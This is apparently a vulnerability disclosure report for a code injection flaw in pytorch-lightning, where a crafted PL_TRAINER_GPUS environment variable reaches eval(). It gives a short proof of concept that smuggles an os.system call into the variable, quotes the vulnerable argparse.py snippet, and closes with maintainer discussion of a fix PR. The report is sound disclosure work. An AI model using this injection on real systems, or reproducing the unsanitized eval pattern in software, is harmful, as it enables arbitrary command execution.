Code Injection in pytorchlightning/pytorch-lightning
Reported on
Mar 2nd 2022
Description
The attacker can execute commands on the target OS running the operating system by setting the PL_TRAINER_GPUS
when using the Trainer
module.
Proof of Concept
$ pip3 install pytorch-lightning
import os
from pytorch_lightning import Trainer
from pytorch_lightning.utilities.argparse import *
parse_env_variables(Trainer)
$ ls
os.environ["PL_TRAINER_GPUS"] = 'os.system("touch rickroll")'
parse_env_variables(Trainer)
$ ls
rickroll
Collab Notebook: https://colab.research.google.com/drive/1lMPSsKN7cNWcHkh7ZBvsNkCZRcoTPJq8?usp=sharing
Impact
This vulnerability is capable of executing remote code on the target system in the context of the user running the program.
Occurrences
argparse.py L124
The vulnerability arises due to unsanitized input being passed being passed to the eval()
function
if not (val is None or val == ""):
# todo: specify the possible exception
with suppress(Exception):
# converting to native types like int/float/bool
val = eval(val)
References
@whokilleddb, are you interested in opening a PR with the fix?
Oh, just saw you already suggested a patch. You can go ahead and open a PR to the repository
Hi Carlos, I just published my PR. Sorry for any errors in the contribution. Looking forward to it getting merged 😊
Hi Carlos, can you please confirm the following PR:
https://github.com/PyTorchLightning/pytorch-lightning/pull/12212